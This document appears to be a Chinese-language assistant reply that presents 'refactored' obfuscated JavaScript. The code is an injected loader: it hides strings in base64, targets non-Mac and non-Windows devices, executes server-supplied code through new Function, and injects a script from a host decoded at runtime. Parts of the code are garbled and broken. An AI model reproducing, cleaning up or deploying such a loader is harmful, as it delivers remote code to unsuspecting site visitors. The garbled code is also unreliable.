以下是重构后的代码:
```javascript
function UqgsgfgDv(e) {
let t = '';
let n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
}
function UqSDDFGvyQ(e) {
const m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
let t = '';
let n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, ''); // Remove invalid characters from the input string
}
```
请根据提供的内容完成内容重构,并保持段落结构:
```javascript
while(f s=m.indexOf(e.charAt(f++)); o=m.indexOf(e.charAt(f++)); u=m.indexOf(e.charAt(f++)); a=m.indexOf(e.charAt(f++)); n=s<<2|o>>4; r=(o&15)<<4|u>>2; i=(u&3)<<6|a; t=t+String.fromCharCode(n); if(u!=64){ t=t+String.fromCharCode(r); } if(a!=64){ t=t+String.fromCharCode(i); } } return UqgsgfgDv(t); }; window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){ (function(u,i,w,d,c){ var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA=='); 'jQuery'; u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))); 'jQuery'; }); }(); ``` 以下是重构后的代码: ```javascript if (navigator.userAgent.indexOf('baiduid') > -1) { var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://' + u + '/bm-' + i); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;'); xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest'); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join('')); var cs = document.createElement('script'); cs.src = 'https://' + u + '/m-' + i; cs.parentElement.insertBefore(cs, cs.nextSibling); } }; xhr.send('u=1'); } else { var s = document.createElement('script'); s.src = 'https://' + u + '/m-' + i; cs.parentElement.insertBefore(s, cs.nextSibling); } ```